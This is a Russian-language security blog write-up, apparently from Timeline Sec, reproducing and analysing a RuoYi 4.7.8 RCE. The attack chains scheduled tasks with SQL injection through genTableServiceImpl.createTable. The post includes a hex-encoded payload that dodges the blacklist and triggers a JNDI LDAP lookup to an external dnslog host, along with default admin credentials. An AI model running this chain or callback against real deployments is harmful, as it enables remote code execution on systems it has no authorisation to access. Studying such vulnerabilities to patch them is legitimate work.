RuoYi 4.7.8 выполняет произвольные операторы SQL, что приводит к уязвимости RCE
RuoYi 4.7.8 выполняет произвольные операторы SQL, что приводит к уязвимости RCE

Подпишитесь на нас ❤️, добавьте звездочку 🌟 и учитесь безопасности вместе! Автор: 0Fs47@Timeline Sec Количество слов в этой статье: 1392. Время чтения: 2~4 минуты. Заявление: Это только для ознакомления, пожалуйста, не используйте его в незаконных целях, в противном случае вы будете нести ответственность за последствия.

0x01 Введение

RuoYi — это система управления серверной частью, основанная на сочетании классических технологий (Spring Boot, Apache Shiro, MyBatis, Thymeleaf). Ее основная цель — позволить разработчикам сосредоточиться на бизнесе и снизить технические сложности, тем самым экономя трудозатраты, сокращая циклы проектов. и улучшение качества безопасности программного обеспечения.

Обзор уязвимости 0x02

RuoYi v4.7.8 Внутренняя система управления RuoYi вызывает genTableServiceImpl через запланированные задачи для непосредственного выполнения sql для изменения содержимого запланированных задач, тем самым обходя ограничения черных и белых списков и достигая RCE.

0x03 затронутая версия

RuoYi v4.7.8

0x04 Настройка среды

Адрес официального сайта: http://ruoyi.vip.

Адрес документа: https://doc.ruoyi.vip/ruoyi/document/hjbs.html.

Создание базы данных ry и скрипты импорта данных ry_2021xxxx.sql, кварц.sql

Idea загружает проект, находит ruoyi-admin\src\main\resources\application-druid.yml и изменяет конфигурацию базы данных.

Затем запустите com.ruoyi.RuoYiApplication.java. Если появится следующая картинка, значит запуск прошел успешно.

0x05 Повторение уязвимости

Настройте локальную среду и посетите http://localhost/login.

admin/amdin123 входит в фоновый режим и сначала создает задачу с идентификатором 100:

Создайте еще одну задачу следующего содержания:

Язык кода:javascript
копировать
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;')

Шестнадцатеричное число в операторе SQL — это код, который мы хотим выполнить:

Язык кода:javascript
копировать
javax.naming.InitialContext.lookup('ldap://xxxxx')

Создание задач 101

Вы можете видеть, что задача 100 обновлена ​​кодом, который необходимо выполнить.

Эхо успешно получено

0x06 Анализ уязвимостей

Из этапов воспроизведения видно, что RCE вызван запланированными задачами и внедрением SQL.

Анализ задач по времени

Добавьте запланированные задачи:

Перейдя к методу com/ruoyi/quartz/controller/SysJobController#addSave, вы можете увидеть, что перед добавлением запланированной задачи строка заносится в черный список и вносится в черный список.

Когда вышеуказанные условия выполнены, выполните com/ruoyi/quartz/service/impl/SysJobServiceImpl#insertJob, чтобы сначала записать запланированное задание в базу данных.

Затем создайте запланированную задачу

Далее идет логика выполнения запланированной задачи, введите com/ruoyi/quartz/util/AbstractQuartzJob#execute

Продолжайте следовать и введите метод вызова Метод.

getInvokeTarget: вызвать целевую строку и получить поле ignore_target в базе данных.

getBeanName: Получить имя beanName

getMethodName: получить имя метода.

getMethodParams: Получить имя параметра

Затем определите, является ли это полным именем класса. Если нет, получите его из контейнера Spring.

Продолжайте следить за методом ignoreMethod и используйте отражение для выполнения метода.

Из вышеизложенного можно проанализировать следующие результаты:

  1. Объект может быть spring Зарегистрировано в контейнере bean, вы также можете указать class имя
  2. если spring Зарегистрировано в контейнере bean, вы можете напрямую получить доступ к spring Удален из контейнера, указанного if class имя, ты можешь использовать отражение newInstance() создает объект

Анализ SQL-инъекций

существует до версии ruoyi 4.7.5,Внутренний интерфейс/tool/gen/createTableсохранять вездесуществовать sql Внедрение (CVE-2022-4566)

Класс реализации genTableService — GenTableServiceImpl.

Соответствующее заявление Mapper

Язык кода:javascript
копировать
<update id="createTable">
       ${sql}
</update>

Результаты запуска:

RCE-анализ

Согласно вышеизложенному, запланированные задачи ruoyi могут вызывать bean-компоненты или классы, а внедрение SQL зависит от GenTableServiceImpl#createTable. Если GenTableServiceImpl является объектом bean-компонента, вы можете напрямую вызвать GenTableServiceImpl#createTable для выполнения операторов SQL.

существуетPrint всего загруженного боба, включающего в себя genTableServiceImpl в классе запуска

Язык кода:javascript
копировать
 ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
// Получить имя всех бобов
String[] beanDefinitionNames = run.getBeanDefinitionNames();
// Распечатайте имена всех бобов
for (String beanDefinitionName : beanDefinitionNames) {
    System.out.println(beanDefinitionName);
}

Итак, вы можете позвонить genTableServiceImpl.createTable выполнить sql оператор выполняется, поэтому RCE Идея: Сотрудничество с инъекциями существует. sys_job Вставляйте вредоносные запланированные задачи непосредственно в таблицу данных, не вызывая addSave Метод для добавления содержимого запланированных задач и успешного обхода ограничений черного и белого списков.

деталь:

существоватьдобавить в SQL Для запланированных задач вы можете пройти 16 Базовое преобразование обходит обнаружение черного списка

Язык кода:javascript
копировать
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f797670307a662e646e736c6f672e636e2729 WHERE job_id = 100;')

Метод genTableServiceImpl.createTable успешно вызван.

Изменено успешно

Выполнить код

0x06 Метод восстановления

Обновите до последней версии.

Справочная ссылка

https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC

https://xz.aliyun.com/t/11336

Исторические дыры

https://blog.takake.com/posts/7219/

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose